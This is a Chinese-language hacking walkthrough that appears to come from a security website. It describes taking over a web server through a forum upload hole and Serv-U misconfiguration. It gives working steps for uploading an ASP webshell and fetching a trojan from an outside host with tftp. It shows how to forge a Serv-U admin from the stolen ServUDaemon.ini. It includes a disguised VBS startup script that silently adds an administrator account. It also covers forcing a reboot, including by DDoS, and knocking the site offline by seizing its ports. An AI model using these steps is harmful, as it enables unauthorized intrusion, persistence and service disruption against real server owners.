【简 介】
利用网站的配置错误配合serv－u取得管理员权限，简单一点就是通过asp木马配合serv－u取得管理员权限。 |
|
|
|
|
现在我们拿到了论坛管理员的密码了，登陆那个论坛－进入管理页面－论坛版面管理 －随便选一个讨论区－在上传文件类型中加上.asp，呵呵
好了，进去这个讨论区发表帖子－上传文件，呵呵，把asp木马传上去
好了，可是这个文件被重命名了，唉，新亏手里还有一个免fso的木马，只有一个文件。传上去
可惜这个木马不好用，还是自己的木马用着顺手，于是tftp -i ***.***.***.*** GET use.asp
好了，成功了，接这运行木马www.***.com/bbs/use.asp?id=1
呵呵，服务器的东西清清楚楚的摆在我们面前了，上传一个winshell把
靠，服务器有病毒防火墙，看看是nav的，算了，自己加个壳把
继续，传上去并执行。。。。没反应！
先telnet ip 8210（我喜欢用noika手机的型号做为端口，^_^）
靠，不行，差点忘了，对方做端口过滤了
怎么办阿，试试idq.dll（没报什么希望），果然对方的目录不可执行，在看一下对方有没有装perl
还是没有!在看看对方是什么分区格式，要是fat32那就好办了，试着删除c:\的任何文件都提示没有权限！唉，麻烦阿！！！
本来想就此打住的时候突然发现了d:\Serv-U，于是我就想通过他来拿到权限
注：在此之前最好在自己的机器上装一个Serv-U,
我们先看看ServUStartUpLog.txt
Sat 01Mar01 12:15:24 - Serv-U FTP Server v4.0 (4.1.0.0) - Copyright (c) 1995-2002 Cat
。。。。。。。。。。
版本挺新阿，呵呵
接着看看ServUDaemon.ini（用户配置文件）
哇考，里面的用户真多阿！
接着我们把这个文件的内容复制一下，然后粘贴到本地serv－u的ServUDaemon.ini文件中，记住这时候最好停掉你的serv－u，保存文件，接着打开ServUAdmin.exe，重新添加一个用户，记住这个用户最好是管理员权限，必须对目录和文件可以进行读写可执行等一切操作，接着把用户主目录设为c:\
哈哈哈，到次为止大家都知道我的用意了把！
接这ftp上去
哈哈c盘的东西全部暴露了，现在我们对c盘有读写权限，可以进行任何操作（注意：serv－u的管理员权限和nt的管理员权限不是一样的，serv－u的管理员只能配置serv－u）
由于对方做了端口过滤，办法不是很多，可以参考一篇修改注册表根改端口过滤的文章，是灰色轨迹论坛的一个网友写的，哈哈，在这里就不多说了！
我们先写一个vbs脚本，把这个脚本重命名为Adobe Gamma Loader，这样管理员不容易发现！
脚本内容：
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c net user allen ***** /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators allen /add",0)
大家都能看懂把，哈哈
然后把他传到Documents and Settings\All Users\「开始」菜单\程序\启动\
呵呵为什么要vbs脚本呢？原因很简单，就是不让管理员看见那个跳出来的黑黑的dos窗口。
接着用asp木马上传一个shutdown.exe
然后执行shutdown.exe 127.0.0.1 /r
哈哈，有时候可能不会成功，是权限的原因，具体。。。我也不太清楚。
不过在nt or 2000上普通用户都可以重起机器
还有一个办法就是在你的机器上新建一个计划任务，内容就是定时重启动计算机，然后把他放到对方计划任务的目录下，如果对方没有开计划任务就不行了！
如果还是成功不了你就用ddos把，哈哈，很暴力的让对方拒绝服务，接这就会重启（有可能是管理员操作的）
重启之后只要管理员登陆就可以添加一个帐号，哈哈
到此为止我已经拥有了管理员权限，呵呵
（关于端口过滤）
一般服务器至少会开21，80端口，像这种情况，即使有了管理员权限也没有多大用处！
如果你可以得到一些bbs或者其他程序的管理员密码就比较好办了
先传asp木马，然后用sc停掉ftp服务，接着弄一些后门来占用21端口
或者干脆暴力的占用！不过这些办法在ntfs的分区上成功率并不高！经过实践我发现一般可以暴力占用80端口，前提是对方web服务器为iis！这样在你没有完全拿到管理员权限之前，对方的网站可能会一直瘫痪，哈哈！
热门推荐：苹果专题、时尚专题
|
|
|
|
相关文章
|
| 杀毒软件免费随便用
瑞星全功能安全软件2009 基于“云安全”策略和“智能主动防御”技术开发.
www.rising.com.cn
|
|
|
|
